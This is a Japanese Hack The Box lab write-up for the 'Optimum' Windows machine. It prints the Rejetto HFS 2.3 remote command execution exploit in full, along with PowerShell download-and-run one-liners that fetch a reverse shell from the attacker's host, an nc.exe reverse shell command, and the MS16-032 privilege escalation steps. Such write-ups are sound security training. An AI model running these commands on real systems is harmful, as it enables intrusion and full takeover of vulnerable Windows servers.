Hack The Box Writeup [Optimum]

- OS: Windows
- Difficulty: Easy
- Rating: 4.5
- Release: 2017年3月18日
- Tag: Windows, Web

retired boxのOptimumに挑戦します。

Optimumは最適という意味ですね。タイトルからどんなBoxかあまり見当がつきません。

## # ポートスキャン

手始めに、nmapでスキャンしてみます。

```bash
kali@kali:~$ nmap -n -A 10.10.10.8 
Starting Nmap 7.91 ( https://nmap.org )
Nmap scan report for 10.10.10.8
Host is up (0.17s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.73 seconds
```

結果から、80番ポートが開いており、下記サーバーが動いていることがわかります。　

・HttpFileServer httpd 2.3（80/tcp）

ブラウザで確認してみましょう
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664649/5c4e459f-d724-0957-c29a-5e4471637db0.png)

ソースコード内の情報や、web脆弱性を探しますが特に何も見つかりません。
スキャン結果、webサイトの画面上からサーバーのソフトウェア、バージョンが判明したのでexploitを探します。

## # searchsploit

```bash
kali@kali:~$ searchsploit HttpFileServer 2.3
-----------------------------------------------------------------------------------------------
 Exploit Title                                                |  Path
-----------------------------------------------------------------------------------------------
Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)   | windows/webapps/49125.py
-----------------------------------------------------------------------------------------------
Shellcodes: No Results
Papers: No Results

kali@kali:~$ searchsploit -p 49125
  Exploit: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
      URL: https://www.exploit-db.com/exploits/49125
     Path: /usr/share/exploitdb/exploits/windows/webapps/49125.py
File Type: UTF-8 Unicode text, with CRLF line terminators
```

いきなり使えそうなexploitが見つかります、ラッキー！
中身を見てみると・・・・

```bash
kali@kali:~$ cat /usr/share/exploitdb/exploits/windows/webapps/49125.py
# Exploit Title: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
# Google Dork: intext:"httpfileserver 2.3"
# Date: 28-11-2020
# Remote: Yes
# Exploit Author: Óscar Andreu
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287

#!/usr/bin/python3

# Usage :  python3 Exploit.py <RHOST> <Target RPORT> <Command>
# Example: python3 HttpFileServer_2.3.x_rce.py 10.10.10.8 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.4/shells/mini-reverse.ps1')"

import urllib3
import sys
import urllib.parse

try:
        http = urllib3.PoolManager()
        url = f'http://{sys.argv[1]}:{sys.argv[2]}/?search=%00{{.+exec|{urllib.parse.quote(sys.argv[3])}.}}'
        print(url)
        response = http.request('GET', url)

except Exception as ex:
        print("Usage: python3 HttpFileServer_2.3.x_rce.py RHOST RPORT command")
        print(ex)

kali@kali:~$
```

ターゲットの、IPとポートのみ判明していれば使えそうですね。

ソースを見てみると、引数からURLを生成し、GETアクセスしているだけなのでPoCを使用しなくてもURLを生成しブラウザやcurlでアクセスすればExploitできそうです。

### #URL生成部

```bash
http://{sys.argv[1]}:{sys.argv[2]}/?search=%00{{.+exec|{urllib.parse.quote(sys.argv[3])}.}}
```

### #例

```bash
http://10.10.10.8:80/?search=%00{{.+exec|{urllib.parse.quote('cmd.exe /c ping /n 1 10.10.14.6')}.}}
```
まずはpingコマンドを送って、PoCが使用可能か確認することにします。

### # tcpdump

```bash
kali@kali:~$ sudo tcpdump -i tun0 icmp and src 10.10.10.8
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
```

でパケット監視して
### #Exploit確認

```bash
kali@kali:~$ python3 49125.py 10.10.10.8 80 'cmd.exe /c ping /n 1 10.10.14.6'
http://10.10.10.8:80/?search=%00{.+exec|cmd.exe%20/c%20ping%20/n%201%2010.10.14.6.}
kali@kali:~$
```
### #確認結果
```bash
kali@kali:~$ sudo tcpdump -i tun0 icmp and src 10.10.10.8
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
05:29:34.418715 IP 10.10.10.8 > 10.10.14.6: ICMP echo request, id 1, seq 9, length 40
05:29:34.422553 IP 10.10.10.8 > 10.10.14.6: ICMP echo request, id 1, seq 10, length 40
05:29:34.423375 IP 10.10.10.8 > 10.10.14.6: ICMP echo request, id 1, seq 11, length 40
05:29:34.427579 IP 10.10.10.8 > 10.10.14.6: ICMP echo request, id 1, seq 12, length 40
```

ターゲットからパケットが飛んできていることが確認できます。
PoCが使用できることが確認できました。

RCEができるので以下を参考に、shellを取得してから、nc.exeを送り込む作戦をやってみます。
[https://robertscocca.medium.com/️️-rce-to-shell-techniques-696e55b23fee](https://robertscocca.medium.com/%EF%B8%8F%EF%B8%8F-rce-to-shell-techniques-696e55b23fee)

まずはコードの準備、以下をダウンロードして
[https://github.com/samratashok/nishang/raw/master/Shells/Invoke-PowerShellTcp.ps1](https://github.com/samratashok/nishang/raw/master/Shells/Invoke-PowerShellTcp.ps1)

末尾に追記します。
### #追記内容
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664649/6efe67b6-644a-8559-6525-99f209a53117.png)
作成したコードをターゲットにダウンロードさせるために、pythonを使って簡易サーバーを動かします。python2,3いずれでも大丈夫ですが、いつまでpython2がサポートされるかもわからないので、極力3のコマンドを覚えるとよいと思います。
### #python3 簡易サーバ起動
```bash
kali@kali:~/htb/Optimum$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```
### #python2 簡易サーバ起動

```bash
kali@kali:~/htb/Optimum$ sudo python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

ローカルのpsを実行させるには以下コマンドでよさそうです

```bash
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6/Invoke-PowerShellTcp.ps1').
```

最終的なコマンドはこちら

```bash
python3 49125.py 10.10.10.8 80 "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6/Invoke-PowerShellTcp.ps1')"
```

netcatで待ち受けて実行！！
無事reverseshellがとれました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664649/da38cefd-4048-b872-ff40-2b5d91b352b5.png)
user.txtがない・・・ああ、user.txt.txtだ！！(たまにありますね、名前が微妙に違うやつ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664649/cdd474d8-9eb0-5a7a-1ff3-5d37545bd5ec.png)
権限昇格に向けて、nc.exeで接続しなおしておきましょう。

Cドライブ直下にtempフォルダを作成して、送り込みます。

```bash
mkdir temp 
cd temp
iwr http://10.10.14.6/nc.exe -Outfile nc.exe
c:\temp\nc.exe -e cmd.exe 10.10.14.6 4445
```
こちらもncで待ち受けてちゃちゃっと接続（ポート番号の重複に注意しましょう）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664649/3e99f379-9d75-fefe-f435-74f0ebfff152.png)

# # Privilege Escalation
ビールのごとくとりあえずsysteminfoを表示
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664649/223a000a-b528-2cea-be98-66ceadd6084f.png)
## # Windows Exploit Suggester - Next Generation
[https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)
systeminfoから脆弱性を見つけてくれるツールにかけてみます。
（古いボックスは特に）結果が膨大な量になるので、ログを吐き出させて確認します。

```bash
python3 wes.py -u
python3 wes.py systeminfo.txt > result.txt
```

大量に出てくる中から以下に注目してExploitを探します。（とにかく送り込んで実行してみる。）
・Impact: Elevation of Privilege
・Exploitsがある
・MSの脆弱性番号がある（MSxx-0xxみたいなやつ）

多すぎてみてられませんね。。。つらたん。。。

## # Sherlock.ps1
[https://github.com/rasta-mouse/Sherlock](https://github.com/rasta-mouse/Sherlock)
PowerShell周りの脆弱性を列挙してくれる便利なやつを送り込んで実行します。

```bash
Powershell.exe "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.3/Sherlock.ps1'); Find-AllVulns"
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664649/312d0943-fc57-8994-004c-660a8f77e44f.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664649/7850564a-4179-1221-c823-8aaf13d84843.png)
結果からMS16-032が使用できそうです。
ググって見ると権限昇格に関する情報が出てきます。ワクワクしてきました。
以下からダウンロードして試してみます。（この時はまだ使い方をよく理解していなかった。。。）
[https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032)

exeの実行はダメ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664649/fd905714-a9ef-68b2-c79d-ba75fb55f083.png)
ps1もうまく動きません
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664649/59b6688b-87e0-cc80-ab90-c3cb11c0dd2c.png)
今度はこちらを試してみます。
[https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-MS16032.ps1](https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-MS16032.ps1)
改めて使用法を調べると、ファイルの末尾にコマンド追加の必要がありそうです。
どこかでみたような以下コマンドを追記します。お察しの通りUser取得時のものを再利用。

```bash
Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.3/Invoke-PowerShellTcp.ps1')"
```

追記したらスクリプトを実行させてみましょう。

```bash
PS C:\temp> IEX(New-Object Net.webclient).downloadString('http://10.10.14.3/Invoke-MS16032.ps1')
```
むむむ、うまくいきません・・・
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664649/65c69863-89cb-25f9-8d9a-174ec0fb73b8.png)
ここで、reverseshellを取得した時のコマンドを思い出します。

```bash
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6/Invoke-PowerShellTcp.ps1').
```

お　わ　か　り　い　た　だ　け　た　だ　ろ　う　か

systeminfoから64bitであることが判明しましたが、32bit版のpowershellで実行しています。
64bitに対してExploit攻撃をするのであれば64bit版でなければならないとどこかで見たことがあります。
64bit版powershellを指定して実行してみましょう！

ncで待ち受けて
nc.exeを送り込んで取得しておいたreverseshellから

```bash
C:\temp>C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe "IEX(New-Object Net.webclient).downloadString('http://10.10.14.3/Invoke-MS16032.ps1')"
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664649/509b9aa3-6c4e-330b-18b9-0d75a1802e3f.png)
動いた！！
![a.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664649/fd8677e2-db06-53b1-06e8-f98d3e31992c.png)
無事root権限が取得できました、お疲れ様です。